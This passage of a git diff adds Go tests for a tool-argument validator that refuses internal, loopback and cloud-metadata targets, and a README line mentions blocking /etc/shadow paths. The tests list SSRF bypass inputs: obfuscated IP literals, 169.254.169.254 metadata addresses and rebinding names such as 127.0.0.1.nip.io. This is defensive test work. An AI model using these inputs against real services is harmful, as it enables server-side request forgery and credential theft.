&manifest.ArgDef{Name: "u", Type: "url"} + cases := []struct{ value, wantSub string }{ + {"http://0x7f000001/", "non-canonical IP literal"}, + {"http://2130706433/", "non-canonical IP literal"}, + {"http://0177.0.0.1/", "non-canonical IP literal"}, + {"http://127.1/", "non-canonical IP literal"}, + {"http://xn--example-9c.com/", "punycode"}, + {"http://XN--example-9c.com/", "punycode"}, + {"http://user:pw@example.com/", "userinfo"}, + {"http://example.com?x=a@b", "userinfo"}, + {"http:///path", "host must not be empty"}, + {"http://", "host must not be empty"}, + {"http://:8080/", "host must not be empty"}, + {"http://::1/", "not a valid hostname"}, + {"http://example.123/", "not a valid hostname"}, + {"http://exa_mple.com/", "not a valid hostname"}, + {"example.com", "expected scheme://host"}, + } + for _, c := range cases { + _, err := ValidateArg(def, c.value) + if err == nil { + t.Errorf("%q: expected rejection", c.value) + continue + } + if !strings.Contains(err.Error(), c.wantSub) { + t.Errorf("%q: error %q does not contain %q", c.value, err.Error(), c.wantSub) + } + } + for _, v := range []string{"http://93.184.216.34/x", "https://example.com/path?q=1#frag", "https://sub.example.com"} { + if _, err := ValidateArg(def, v); err != nil { + t.Errorf("%q: unexpected error: %v", v, err) + } + } +} + +// The public entry point refuses "[" and "]" through the metacharacter +// blocklist before the structural parse runs, so the bracketed-IPv6 path is +// covered directly here. +func TestSplitURLHostPort(t *testing.T) { + good := []struct{ in, host, port string }{ + {"example.com", "example.com", ""}, + {"example.com:8443", "example.com", "8443"}, + {"93.184.216.34:80", "93.184.216.34", "80"}, + {"[::1]", "::1", ""}, + {"[::1]:8080", "::1", "8080"}, + {"[2001:db8::1]:443", "2001:db8::1", "443"}, + {"[::ffff:169.254.169.254]", "::ffff:169.254.169.254", ""}, + } + for _, c := range good { + host, port, err := splitURLHostPort(c.in) + if err != nil { + t.Errorf("%q: unexpected error: %v", c.in, err) + continue + } + if host != c.host || port != c.port { + t.Errorf("%q: got (%q, %q), want (%q, %q)", c.in, host, port, c.host, c.port) + } + } + bad := []string{"", ":8080", "example.com:", "[::1]:", "[::1", "[example.com]", "[::1]x", "[::1]8080", "[fe80::1%eth0]", "[127.0.0.1]"} + for _, in := range bad { + if host, port, err := splitURLHostPort(in); err == nil { + t.Errorf("%q: expected error, got (%q, %q)", in, host, port) + } + } +} + +func TestScopeTargetBlockInternal(t *testing.T) { + stubResolver(t, map[string][]string{"example.com": {"93.184.216.34"}}) + open := &manifest.ArgDef{Name: "t", Type: "scope_target"} + blocking := &manifest.ArgDef{Name: "t", Type: "scope_target", BlockInternal: true} + + // Default policy is permissive for loopback/private so tools that + // legitimately target internal hosts keep working without opt-in. + for _, v := range []string{"127.0.0.1", "10.0.0.5", "::1", "10.0.0.0/24"} { + if _, err := ValidateArg(open, v); err != nil { + t.Errorf("%q without block_internal must pass: %v", v, err) + } + } + // ...but link-local / cloud metadata is blocked unconditionally. + for _, v := range []string{"169.254.169.254", "169.254.0.1", "::ffff:169.254.169.254", "fe80::1", "169.254.0.0/16", "fe80::/10"} { + _, err := ValidateArg(open, v) + if err == nil || !strings.Contains(err.Error(), "always blocked") { + t.Errorf("%q: want always-blocked rejection, got %v", v, err) + } + } + + for _, v := range []string{ + "127.0.0.1", + "10.0.0.5", + "192.168.1.1", + "172.31.255.254", + "100.64.0.1", + "169.254.169.254", + "0.0.0.0", + "255.255.255.255", + "192.0.2.1", + "198.51.100.7", + "203.0.113.9", + "198.18.0.1", + "240.0.0.1", + "::1", + "::", + "fc00::1", + "fd12::1", + "fe80::1", + "2001:db8::1", + "::ffff:127.0.0.1", + "::ffff:10.0.0.1", + "10.0.0.0/24", + "192.168.0.0/16", + } { + if _, err := ValidateArg(blocking, v); err == nil { + t.Errorf("%q: block_internal must reject", v) + } + } + want := "validation error for 't': target resolves to a private address (blocked by block_internal policy)" + if _, err := ValidateArg(blocking, "10.0.0.5"); err == nil || err.Error() != want { + t.Errorf("want %q, got %v", want, err) + } + for _, v := range []string{"93.184.216.34", "example.com", "8.8.8.0/24", "2606:4700::1111"} { + if _, err := ValidateArg(blocking, v); err != nil { + t.Errorf("%q under block_internal must pass: %v", v, err) + } + } +} + +func TestScopeTargetRejectsObfuscatedIPLiterals(t *testing.T) { + // A libc resolver expands all of these to 127.0.0.1 — they must not + // pass as canonical IPs or sneak through as "hostnames". + def := &manifest.ArgDef{Name: "t", Type: "scope_target"} + for _, v := range []string{ + "2130706433", // decimal integer + "0x7f000001", // hex + "0X7F000001", // hex, upper case + "0177.0.0.1", // octal-leading + "127.1", // shorthand + "010.0.0.1", // leading-zero octet + "1.2.3", // three all-numeric labels + } { + _, err := ValidateArg(def, v) + if err == nil { + t.Errorf("%q: expected rejection", v) + continue + } + if !strings.Contains(err.Error(), "non-canonical IP literal") { + t.Errorf("%q: want non-canonical wording, got %v", v, err) + } + } + // Other resolver-expandable or structurally invalid shapes. + for _, v := range []string{"example.123", "127.0.0.1.", "example.com.", "fe80::1%eth0", "::ffff:010.0.0.1"} { + if _, err := ValidateArg(def, v); err == nil { + t.Errorf("%q: expected rejection", v) + } + } + // Canonical forms still pass (no block_internal policy here). + for _, v := range []string{"127.0.0.1", "93.184.216.34", "::1", "::ffff:127.0.0.1", "example.com", "a1.b2.example"} { + if _, err := ValidateArg(def, v); err != nil { + t.Errorf("%q: unexpected error: %v", v, err) + } + } +} + +func TestIPAddressAndCIDRPolicy(t *testing.T) { + ipOpen := &manifest.ArgDef{Name: "ip", Type: "ip_address"} + ipBlocking := &manifest.ArgDef{Name: "ip", Type: "ip_address", BlockInternal: true} + for _, v := range []string{"169.254.169.254", "::ffff:169.254.169.254", "fe80::1"} { + for _, def := range []*manifest.ArgDef{ipOpen, ipBlocking} { + _, err := ValidateArg(def, v) + if err == nil || !strings.Contains(err.Error(), "always blocked") { + t.Errorf("ip_address %q block_internal=%v: want always-blocked, got %v", v, def.BlockInternal, err) + } + } + } + if _, err := ValidateArg(ipOpen, "127.0.0.1"); err != nil { + t.Errorf("ip_address loopback without block_internal must pass: %v", err) + } + for _, v := range []string{"127.0.0.1", "10.1.2.3", "::1", "::ffff:10.0.0.1", "fc00::1"} { + _, err := ValidateArg(ipBlocking, v) + if err == nil || !strings.Contains(err.Error(), "blocked by block_internal policy") { + t.Errorf("ip_address %q: want block_internal rejection, got %v", v, err) + } + } + for _, v := range []string{"0x7f000001", "010.0.0.1", "127.1", "2130706433", "fe80::1%eth0", "1.2.3.4/24"} { + if _, err := ValidateArg(ipOpen, v); err == nil { + t.Errorf("ip_address %q: expected rejection", v) + } + } + if _, err := ValidateArg(ipBlocking, "93.184.216.34"); err != nil { + t.Errorf("ip_address public literal must pass: %v", err) + } + + cidrOpen := &manifest.ArgDef{Name: "c", Type: "cidr"} + cidrBlocking := &manifest.ArgDef{Name: "c", Type: "cidr", BlockInternal: true} + for _, v := range []string{"169.254.0.0/16", "169.254.169.0/24", "fe80::/10"} { + for _, def := range []*manifest.ArgDef{cidrOpen, cidrBlocking} { + _, err := ValidateArg(def, v) + if err == nil || !strings.Contains(err.Error(), "always blocked") { + t.Errorf("cidr %q block_internal=%v: want always-blocked, got %v", v, def.BlockInternal, err) + } + } + } + if _, err := ValidateArg(cidrOpen, "10.0.0.0/8"); err != nil { + t.Errorf("cidr private without block_internal must pass: %v", err) + } + for _, v := range []string{"10.0.0.0/8", "192.168.1.0/24", "127.0.0.0/8", "2001:db8::/32", "fc00::/7"} { + _, err := ValidateArg(cidrBlocking, v) + if err == nil || !strings.Contains(err.Error(), "blocked by block_internal policy") { + t.Errorf("cidr %q: want block_internal rejection, got %v", v, err) + } + } + for _, v := range []string{"10.0.0.0/33", "010.0.0.0/8", "0x0a000000/8", "10.0.0.0", "10.0.0.0/"} { + if _, err := ValidateArg(cidrOpen, v); err == nil { + t.Errorf("cidr %q: expected rejection", v) + } + } + if _, err := ValidateArg(cidrBlocking, "8.8.8.0/24"); err != nil { + t.Errorf("cidr public range must pass: %v", err) + } +} + +// One representative address per row of the range table, including the +// IPv4-mapped IPv6 forms, checked against the exact reason wording. +func TestHostPolicyRangeTable(t *testing.T) { + always := []struct{ addr, reason string }{ + {"169.254.169.254", "is a link-local / cloud-metadata address (169.254.0.0/16) — always blocked"}, + {"169.254.0.1", "is a link-local / cloud-metadata address (169.254.0.0/16) — always blocked"}, + {"::ffff:169.254.169.254", "is a link-local / cloud-metadata address (169.254.0.0/16) — always blocked"}, + {"fe80::1", "is an IPv6 link-local address (fe80::/10) — always blocked"}, + {"febf::1", "is an IPv6 link-local address (fe80::/10) — always blocked"}, + } + for _, c := range always { + addr, ok := parseCanonicalIP(c.addr) + if !ok { + t.Fatalf("%q did not parse", c.addr) + } + if got := alwaysBlockedIPReason(addr); got != c.reason { + t.Errorf("%q: got %q, want %q", c.addr, got, c.reason) + } + } + for _, v := range []string{"127.0.0.1", "10.0.0.1", "93.184.216.34", "::1", "fc00::1", "fec0::1"} { + addr, _ := parseCanonicalIP(v) + if got := alwaysBlockedIPReason(addr); got != "" { + t.Errorf("%q must not be always-blocked, got %q", v, got) + } + } + + nonPublic := []struct{ addr, reason string }{ + {"127.0.0.1", "resolves to a loopback address"}, + {"127.255.255.254", "resolves to a loopback address"}, + {"10.0.0.1", "resolves to a private address"}, + {"172.16.0.1", "resolves to a private address"}, + {"172.31.255.255", "resolves to a private address"}, + {"192.168.0.1", "resolves to a private address"}, + {"100.64.0.1", "is a carrier-grade NAT address (100.64.0.0/10)"}, + {"100.127.255.255", "is a carrier-grade NAT address (100.64.0.0/10)"}, + {"0.0.0.0", "is the unspecified address 0.0.0.0"}, + {"0.1.2.3", "is the unspecified address 0.0.0.0"}, + {"255.255.255.255", "is the broadcast address"}, + {"192.0.2.1", "is a documentation-range address"}, + {"198.51.100.1", "is a documentation-range address"}, + {"203.0.113.1", "is a documentation-range address"}, + {"198.18.0.1", "is a benchmarking-range address (198.18.0.0/15)"}, + {"198.19.255.255", "is a benchmarking-range address (198.18.0.0/15)"}, + {"240.0.0.1", "is a reserved-range address (240.0.0.0/4)"}, + {"255.255.255.254", "is a reserved-range address (240.0.0.0/4)"}, + {"::1", "resolves to the IPv6 loopback ::1"}, + {"::", "is the IPv6 unspecified address ::"}, + {"fc00::1", "is an IPv6 unique-local address (fc00::/7)"}, + {"fdff::1", "is an IPv6 unique-local address (fc00::/7)"}, + {"fe80::1", "is an IPv6 link-local address (fe80::/10)"}, + {"2001:db8::1", "is an IPv6 documentation-range address (2001:db8::/32)"}, + {"::ffff:127.0.0.1", "resolves to a loopback address"}, + {"::ffff:10.0.0.1", "resolves to a private address"}, + {"::ffff:192.168.1.1", "resolves to a private address"}, + {"::ffff:0.0.0.0", "is the unspecified address 0.0.0.0"}, + {"::ffff:255.255.255.255", "is the broadcast address"}, + {"::ffff:192.0.2.1", "is a documentation-range address"}, + {"::ffff:198.18.0.1", "is a benchmarking-range address (198.18.0.0/15)"}, + {"::ffff:240.0.0.1", "is a reserved-range address (240.0.0.0/4)"}, + } + for _, c := range nonPublic { + addr, ok := parseCanonicalIP(c.addr) + if !ok { + t.Fatalf("%q did not parse", c.addr) + } + if got := nonPublicIPReason(addr); got != c.reason { + t.Errorf("%q: got %q, want %q", c.addr, got, c.reason) + } + } + for _, v := range []string{ + "93.184.216.34", "8.8.8.8", "1.1.1.1", "100.63.255.255", "100.128.0.0", + "172.15.255.255", "172.32.0.0", "198.17.255.255", "198.20.0.0", "223.255.255.255", + "2606:4700::1111", "2001:db7::1", "2001:db9::1", "fbff::1", "fec0::1", "::ffff:8.8.8.8", + } { + addr, ok := parseCanonicalIP(v) + if !ok { + t.Fatalf("%q did not parse", v) + } + if got := nonPublicIPReason(addr); got != "" { + t.Errorf("%q must be public, got %q", v, got) + } + } +} + +func TestCanonicalIPHelpers(t *testing.T) { + for _, v := range []string{"127.0.0.1", "::1", "::ffff:1.2.3.4", "2001:db8::1", "255.255.255.255"} { + if _, ok := parseCanonicalIP(v); !ok { + t.Errorf("parseCanonicalIP(%q) must succeed", v) + } + } + for _, v := range []string{"", "127.1", "010.0.0.1", "0x7f000001", "2130706433", "fe80::1%eth0", "1.2.3.4.5", "256.0.0.1", "example.com"} { + if _, ok := parseCanonicalIP(v); ok { + t.Errorf("parseCanonicalIP(%q) must fail", v) + } + } + for _, v := range []string{"2130706433", "0x7f000001", "0Xff", "0177.0.0.1", "127.1", "010.0.0.1", "1.2.3", "0"} { + if !looksLikeIPLiteral(v) { + t.Errorf("looksLikeIPLiteral(%q) must be true", v) + } + } + for _, v := range []string{"", "example.com", "1.2.3.example", "a.1", "1..2", ".1", "1.", "::1"} { + if looksLikeIPLiteral(v) { + t.Errorf("looksLikeIPLiteral(%q) must be false", v) + } + } + for _, v := range []string{"example.com", "a.b1", "localhost", "x"} { + if !tldNotAllNumeric(v) { + t.Errorf("tldNotAllNumeric(%q) must be true", v) + } + } + for _, v := range []string{"example.123", "1.2.3.4", "example.com.", "", "7"} { + if tldNotAllNumeric(v) { + t.Errorf("tldNotAllNumeric(%q) must be false", v) + } + } +} + +// D1: the internal-name denylist applies with or without block_internal, +// to a scope_target and to the host of a url, case-insensitively and with +// one trailing dot ignored. +func TestInternalNameDenylist(t *testing.T) { + names := []string{ + "localhost", + "api.localhost", + "printer.local", + "metadata.google.internal", + "db.internal", + "x.home.arpa", + "nas.lan", + "wiki.intranet", + "fs.corp", + "vault.private", + "LOCALHOST", + "Metadata.Google.Internal", + "localhost.", + } + const want = "target resolves to an internal name — always blocked" + for _, blockInternal := range []bool{false, true} { + scope := &manifest.ArgDef{Name: "t", Type: "scope_target", BlockInternal: blockInternal} + url := &manifest.ArgDef{Name: "u", Type: "url", BlockInternal: blockInternal} + for _, n := range names { + _, err := ValidateArg(scope, n) + if err == nil || !strings.Contains(err.Error(), want) { + t.Errorf("scope_target %q block_internal=%v: want internal-name refusal, got %v", n, blockInternal, err) + } + _, err = ValidateArg(url, "http://"+n+":8080/path") + if err == nil || !strings.Contains(err.Error(), want) { + t.Errorf("url host %q block_internal=%v: want internal-name refusal, got %v", n, blockInternal, err) + } + } + } + exact := "validation error for 't': " + want + if _, err := ValidateArg(&manifest.ArgDef{Name: "t", Type: "scope_target"}, "localhost"); err == nil || err.Error() != exact { + t.Errorf("want %q, got %v", exact, err) + } + // A suffix must be a whole label: these merely contain the words. + for _, n := range []string{"localhost.example.com", "internal-tools.example.com", "mylocal.example.com", "corp.example.com"} { + if isInternalName(n) { + t.Errorf("%q must not be an internal name", n) + } + } +} + +// D2: an IP literal embedded in the leading labels of a hostname is put +// through the range policy; the shape alone is never a refusal. +func TestEmbeddedIPLiteral(t *testing.T) { + open := &manifest.ArgDef{Name: "t", Type: "scope_target"} + blocking := &manifest.ArgDef{Name: "t", Type: "scope_target", BlockInternal: true} + stubResolver(t, map[string][]string{"93-184-216-34.example.com": {"93.184.216.34"}}) + + // Metadata is always blocked, even without block_internal. + _, err := ValidateArg(open, "169.254.169.254.nip.io") + if err == nil || !strings.Contains(err.Error(), "always blocked") { + t.Errorf("169.254.169.254.nip.io without block_internal: want always-blocked, got %v", err) + } + // Loopback / private forms are blocked under block_internal. + for _, v := range []string{"127.0.0.1.nip.io", "10-0-0-1.nip.io", "192.168.1.1.sslip.io", "172-16-0-1.nip.io"} { + _, err := ValidateArg(blocking, v) + if err == nil || !strings.Contains(err.Error(), "blocked by block_internal policy") { + t.Errorf("%q with block_internal: want policy refusal, got %v", v, err) + } + } + // ...and allowed without it, like any other hostname. + for _, v := range []string{"127.0.0.1.nip.io", "10-0-0-1.nip.io"} { + if _, err := ValidateArg(open, v); err != nil { + t.Errorf("%q without block_internal: unexpected error %v", v, err) + } + } + // A public embedded address continues through the ordinary checks. + if _, err := ValidateArg(blocking, "93-184-216-34.example.com"); err != nil { + t.Errorf("public dashed quad under block_internal must pass: %v", err) + } + // url hosts get the same treatment. + u := &manifest.ArgDef{Name: "u", Type: "url", BlockInternal: true} + if _, err := ValidateArg(u, "http://127.0.0.1.nip.io/x"); err == nil || !strings.Contains(err.Error(), "loopback") { + t.Errorf("url 127.0.0.1.nip.io: want loopback refusal, got %v", err) + } + if _, err := ValidateArg(&manifest.ArgDef{Name: "u", Type: "url"}, "http://169.254.169.254.xip.io/"); err == nil || !strings.Contains(err.Error(), "always blocked") { + t.Errorf("url 169.254.169.254.xip.io: want always-blocked, got %v", err) + } + + // The extractor itself. + for _, c := range []struct { + host string + want string + }{ + {"127.0.0.1.nip.io", "127.0.0.1"}, + {"10-0-0-1.nip.io", "10.0.0.1"}, + {"10-0-0-1", "10.0.0.1"}, + {"255-255-255-255.x", "255.255.255.255"}, + {"example.com", ""}, + {"1.2.3.example.com", ""}, // only three numeric labels + {"010.0.0.1.nip.io", ""}, // non-canonical quad is not extracted + {"256-0-0-1.nip.io", ""}, // group out of range + {"10-0-0.nip.io", ""}, // three groups + {"10-0-0-1-2.nip.io", ""}, // five groups + {"1000-0-0-1.nip.io", ""}, // four digits + {"a-b-c-d.nip.io", ""}, // not digits + {"::ffff:127.0.0.1.nip", ""}, // not a dotted quad + } { + addr, ok := embeddedIPLiteral(c.host) + if c.want == "" { + if ok { + t.Errorf("%q: must not extract an address, got %v", c.host, addr) + } + continue + } + if !ok || addr.String() != c.want { + t.Errorf("%q: want %s, got %v (ok=%v)", c.host, c.want, addr, ok) + } + } +} + +// D3: a range is tested for overlap with every blocked range, for IPv4 and +// IPv6, as a scope_target and as a cidr. +func TestCIDROverlap(t *testing.T) { + for _, typ := range []string{"scope_target", "cidr"} { + open := &manifest.ArgDef{Name: "c", Type: typ} + blocking := &manifest.ArgDef{Name: "c", Type: typ, BlockInternal: true} + refused := []string{ + "8.0.0.0/5", // public base, contains 10.0.0.0/8 + "10.0.0.0/24", // inside 10.0.0.0/8 + "10.1.2.3/8", // unmasked spelling of the same range + "192.0.0.0/8", // contains 192.168.0.0/16 and 192.0.2.0/24 + "0.0.0.0/0", // contains everything + "2001:db8::/32", // documentation range exactly + "2001:db8:1::/48", // inside it + "2001::/16", // contains it + "fc00::/7", // unique-local + "fd00::/8", // inside unique-local + "::/0", // everything + "::ffff:10.0.0.0/104", // IPv4-mapped spelling of 10.0.0.0/8 + } + for _, v := range refused { + _, err := ValidateArg(blocking, v) + if err == nil || !strings.Contains(err.Error(), "blocked") { + t.Errorf("%s %q with block_internal: want overlap refusal, got %v", typ, v, err) + } + } + // The supernet case carries the policy wording of the range it + // overlaps. + want := "validation error for 'c': target resolves to a private address (blocked by block_internal policy)" + if _, err := ValidateArg(blocking, "8.0.0.0/5"); err == nil || err.Error() != want { + t.Errorf("%s 8.0.0.0/5: want %q, got %v", typ, want, err) + } + // Link-local overlap is refused with or without block_internal. + for _, v := range []string{"169.254.0.0/16", "169.0.0.0/8", "160.0.0.0/4", "fe80::/10", "fe80::/64", "fe00::/7", "0.0.0.0/0", "::/0"} { + for _, def := range []*manifest.ArgDef{open, blocking} { + _, err := ValidateArg(def, v) + if err == nil || !strings.Contains(err.Error(), "always blocked") { + t.Errorf("%s %q block_internal=%v: want always-blocked, got %v", typ, v, def.BlockInternal, err) + } + } + } + for _, v := range []string{"93.184.216.0/24", "8.8.8.0/24", "2606:4700::/32", "2606:4700:4700::/48", "1.0.0.0/8"} { + if _, err := ValidateArg(blocking, v); err != nil { + t.Errorf("%s %q with block_internal: unexpected error %v", typ, v, err) + } + } + // Without block_internal, a non-public range that avoids link-local + // still passes. + for _, v := range []string{"8.0.0.0/5", "10.0.0.0/24", "2001:db8::/32"} { + if _, err := ValidateArg(open, v); err != nil { + t.Errorf("%s %q without block_internal: unexpected error %v", typ, v, err) + } + } + } + + // unmapPrefix boundaries. + if got := unmapPrefix(netip.MustParsePrefix("::ffff:10.0.0.0/104")); got != netip.MustParsePrefix("10.0.0.0/8") { + t.Errorf("unmapPrefix(::ffff:10.0.0.0/104) = %v", got) + } + if got := unmapPrefix(netip.MustParsePrefix("::ffff:0.0.0.0/95")); got != netip.MustParsePrefix("::ffff:0.0.0.0/95") { + t.Errorf("a prefix shorter than the mapped block must be left alone, got %v", got) + } + if got := unmapPrefix(netip.MustParsePrefix("10.0.0.0/8")); got != netip.MustParsePrefix("10.0.0.0/8") { + t.Errorf("unmapPrefix(10.0.0.0/8) = %v", got) + } +} + +// D4: under block_internal a name is resolved and every answer is put +// through the range policy; resolution failure is a refusal. Without +// block_internal no resolution is attempted at all. +func TestDNSResolutionUnderBlockInternal(t *testing.T) { + // Fail closed through the real resolver: .invalid is reserved by RFC + // 2606 and never resolves. This is the only lookup a test may cause. + const unresolvable = "no-such-host.invalid" + for _, typ := range []string{"scope_target", "url"} { + value := unresolvable + if typ == "url" { + value = "https://" + unresolvable + "/x" + } + blocking := &manifest.ArgDef{Name: "h", Type: typ, BlockInternal: true} + want := "validation error for 'h': could not resolve host '" + unresolvable + "' to verify it is public (block_internal)" + if _, err := ValidateArg(blocking, value); err == nil || err.Error() != want { + t.Errorf("%s %q: want %q, got %v", typ, value, want, err) + } + open := &manifest.ArgDef{Name: "h", Type: typ} + if _, err := ValidateArg(open, value); err != nil { + t.Errorf("%s %q without block_internal must not resolve: %v", typ, value, err) + } + } + + // Without block_internal the seam is never consulted. + called := false + prev := lookupHost + lookupHost = func(string) ([]netip.Addr, error) { called = true; return nil, errors.New("must not be called") } + t.Cleanup(func() { lookupHost = prev }) + for _, def := range []*manifest.ArgDef{{Name: "h", Type: "scope_target"}, {Name: "h", Type: "url"}} { + v := "example.com" + if def.Type == "url" { + v = "https://example.com/" + } + if _, err := ValidateArg(def, v); err != nil { + t.Errorf("%s without block_internal: %v", def.Type, err) + } + } + if called { + t.Fatal("resolver consulted without block_internal") + } + + // Every answer is checked: one internal address among public ones is + // enough to refuse, in either family and in mapped form. + stubResolver(t, map[string][]string{ + "public.example": {"93.184.216.34", "2606:4700::1111"}, + "rebinding.example": {"93.184.216.34", "10.0.0.1"}, + "v6-internal.example": {"2606:4700::1111", "fc00::1"}, + "mapped.example": {"::ffff:127.0.0.1"}, + "metadata.example": {"169.254.169.254"}, + "empty.example": {}, + }) + blocking := &manifest.ArgDef{Name: "h", Type: "scope_target", BlockInternal: true} + if _, err := ValidateArg(blocking, "public.example"); err != nil { + t.Errorf("all-public answers must pass: %v", err) + } + for host, wantSub := range map[string]string{ + "rebinding.example": "resolves to a private address (blocked by block_internal policy)", + "v6-internal.example": "unique-local", + "mapped.example": "loopback", + "metadata.example": "always blocked", + "empty.example": "could not resolve host 'empty.example'", + "missing.example": "could not resolve host 'missing.example'", + } { + _, err := ValidateArg(blocking, host) + if err == nil || !strings.Contains(err.Error(), wantSub) { + t.Errorf("%q: want %q, got %v", host, wantSub, err) + } + } + u := &manifest.ArgDef{Name: "h", Type: "url", BlockInternal: true} + if _, err := ValidateArg(u, "https://rebinding.example:8443/path"); err == nil || !strings.Contains(err.Error(), "private") { + t.Errorf("url rebinding.example: want private refusal, got %v", err) + } + if _, err := ValidateArg(u, "https://public.example/"); err != nil { + t.Errorf("url public.example: %v", err) + } + // Literals never touch the resolver. + if _, err := ValidateArg(blocking, "93.184.216.34"); err != nil { + t.Errorf("literal under block_internal: %v", err) + } +} + +// ValidateManifestWithCustomTypes runs the egress lint with the custom type +// table visible: a custom type whose base is a network target cannot carry +// block_internal and is refused in an egress manifest. +func TestValidateManifestWithCustomTypes(t *testing.T) { + customTypes := map[string]*manifest.CustomTypeDef{ + "host": {Base: "scope_target"}, + "endpoint": {Base: "url"}, + "severity": {Base: "enum", Allowed: []string{"low", "high"}}, + "broken": {Base: "nonexistent"}, + } + egress := func(argType string) *manifest.Manifest { + return &manifest.Manifest{ + Tool: manifest.ToolMeta{Name: "t"}, + Args: map[string]*manifest.ArgDef{"target": {Name: "target", Type: argType, BlockInternal: true}}, + Command: manifest.CommandDef{Exec: []string{"curl", "{target}"}}, + } + } + want := "argument 'target' uses custom type 'host' as a network target; custom types cannot carry block_internal — use the built-in scope_target type" + if err := ValidateManifestWithCustomTypes(egress("host"), customTypes); err == nil || err.Error() != want { + t.Errorf("want %q, got %v", want, err) + } + if err := ValidateManifestWithCustomTypes(egress("endpoint"), customTypes); err == nil || !strings.Contains(err.Error(), "use the built-in url type") { + t.Errorf("custom url base: want refusal, got %v", err) + } + if err := ValidateManifestWithCustomTypes(egress("severity"), customTypes); err != nil { + t.Errorf("custom enum in an egress manifest is fine: %v", err) + } + if err := ValidateManifestWithCustomTypes(egress("scope_target"), customTypes); err != nil { + t.Errorf("built-in scope_target with block_internal: %v", err) + } + if err := ValidateManifestWithCustomTypes(egress("broken"), customTypes); err == nil || !strings.Contains(err.Error(), "invalid base type") { + t.Errorf("invalid base: want refusal, got %v", err) + } + if err := ValidateManifestWithCustomTypes(egress("nope"), customTypes); err == nil || !strings.Contains(err.Error(), "unknown type") { + t.Errorf("unknown type: want refusal, got %v", err) + } + // A non-egress manifest may use a custom network type. + m := egress("host") + m.Command.Exec = []string{"whois", "{target}"} + if err := ValidateManifestWithCustomTypes(m, customTypes); err != nil { + t.Errorf("custom network type in a non-egress manifest must pass: %v", err) + } + // The built-in requirement still applies with custom types present. + m = egress("url") + m.Args["target"].BlockInternal = false + if err := ValidateManifestWithCustomTypes(m, customTypes); err == nil || !strings.Contains(err.Error(), "block_internal is not set") { + t.Errorf("built-in url without block_internal: want refusal, got %v", err) + } +} diff --git a/go/pkg/validator/vectors_test.go b/go/pkg/validator/vectors_test.go new file mode 100644 index 0000000..e5a60b1 --- /dev/null +++ b/go/pkg/validator/vectors_test.go @@ -0,0 +1,146 @@ +package validator + +import ( + "encoding/json" + "errors" + "fmt" + "io" + "os" + "path/filepath" + "reflect" + "strings" + "testing" + + "github.com/BurntSushi/toml" + + "github.com/thirdkeyai/toolclad/pkg/manifest" +) + +// injectionVectorsPath is the shared negative suite, relative to this +// package directory (the repository's tests/ directory). +var injectionVectorsPath = filepath.Join("..", "..", "..", "tests", "injection_vectors.json") + +type argVector struct { + ID string `json:"id"` + Arg map[string]any `json:"arg"` + Value string `json:"value"` + Expect string `json:"expect"` + Note string `json:"note"` +} + +type manifestVector struct { + ID string `json:"id"` + Manifest string `json:"manifest"` + Expect string `json:"expect"` + Note string `json:"note"` +} + +type injectionVectors struct { + ArgVectors []argVector `json:"arg_vectors"` + ManifestVectors []manifestVector `json:"manifest_vectors"` +} + +// loadInjectionVectors reads the shared vector file; ok is false when the +// file is genuinely absent (a module copied out of the repository). +func loadInjectionVectors(tb testing.TB) (injectionVectors, bool) { + tb.Helper() + var v injectionVectors + data, err := os.ReadFile(injectionVectorsPath) + if errors.Is(err, os.ErrNotExist) { + return v, false + } + if err != nil { + tb.Fatalf("reading %s: %v", injectionVectorsPath, err) + } + if err := json.Unmarshal(data, &v); err != nil { + tb.Fatalf("parsing %s: %v", injectionVectorsPath, err) + } + return v, true +} + +// argDefFromVector builds an ArgDef from a vector's [args.] keys by +// round-tripping them through TOML, refusing any key ArgDef does not have +// so a vector can never be silently weakened. +func argDefFromVector(tb testing.TB, v argVector) *manifest.ArgDef { + tb.Helper() + known := map[string]bool{} + t := reflect.TypeOf(manifest.ArgDef{}) + for i := 0; i < t.NumField(); i++ { + name, _, _ := strings.Cut(t.Field(i).Tag.Get("toml"), ",") + if name != "" && name != "-" { + known[name] = true + } + } + for k := range v.Arg { + if !known[k] { + tb.Fatalf("vector %s: arg key %q is not an [args.] key", v.ID, k) + } + } + var buf strings.Builder + if err := toml.NewEncoder(&buf).Encode(v.Arg); err != nil { + tb.Fatalf("vector %s: encoding arg: %v", v.ID, err) + } + def := &manifest.ArgDef{} + if _, err := toml.Decode(buf.String(), def); err != nil { + tb.Fatalf("vector %s: decoding arg: %v", v.ID, err) + } + def.Name = "v" + if def.Type == "" { + def.Type = "string" + } + return def +} + +// TestInjectionVectors runs every vector of tests/injection_vectors.json: +// arg vectors through the strict single-argument entry point in template +// mode, manifest vectors through the strict string loader. +func TestInjectionVectors(t *testing.T) { + vectors, ok := loadInjectionVectors(t) + if !ok { + t.Skipf("%s not present (built outside the repository); skipping the shared vector suite", injectionVectorsPath) + } + // Silence the template deprecation warning some vectors trigger. + prev := manifest.WarningOutput + manifest.WarningOutput = io.Discard + defer func() { manifest.WarningOutput = prev }() + + executed := 0 + for _, v := range vectors.ArgVectors { + def := argDefFromVector(t, v) + got, err := ValidateArgMode(def, v.Value, false) + switch v.Expect { + case "reject": + if err == nil { + t.Errorf("arg vector %s: accepted %q as %q, want reject (%s)", v.ID, v.Value, got, v.Note) + } + case "accept": + if err != nil { + t.Errorf("arg vector %s: rejected %q: %v, want accept (%s)", v.ID, v.Value, err, v.Note) + } + default: + t.Fatalf("arg vector %s: unknown expect %q", v.ID, v.Expect) + } + executed++ + } + for _, v := range vectors.ManifestVectors { + _, err := manifest.LoadManifestFromString(v.Manifest) + switch v.Expect { + case "reject": + if err == nil { + t.Errorf("manifest vector %s: loaded, want reject (%s)", v.ID, v.Note) + } + case "accept": + if err != nil { + t.Errorf("manifest vector %s: refused: %v, want accept (%s)", v.ID, err, v.Note) + } + default: + t.Fatalf("manifest vector %s: unknown expect %q", v.ID, v.Expect) + } + executed++ + } + if executed == 0 { + t.Fatal("no injection vectors executed") + } + fmt.Printf("injection vectors executed: %d (%d arg, %d manifest)\n", + executed, len(vectors.ArgVectors), len(vectors.ManifestVectors)) +} diff --git a/js/README.md b/js/README.md index 0aed9b5..efa5087 100644 --- a/js/README.md +++ b/js/README.md @@ -63,6 +63,9 @@ The dangerous action cannot be expressed because the interface doesn't permit it - **Absolute path blocking**: `path` type rejects `/etc/shadow`, `C:\...` style paths - **Newline injection blocking**: `\n` and `\r` rejected in all string-based types - **No eval**: Conditional evaluators use closed-vocabulary parsers, never dynamic code execution +- **Host policy**: a `scope_target` or `url` host is refused when it names an internal namespace (`localhost`, `*.localhost`, `*.local`, `*.internal`, 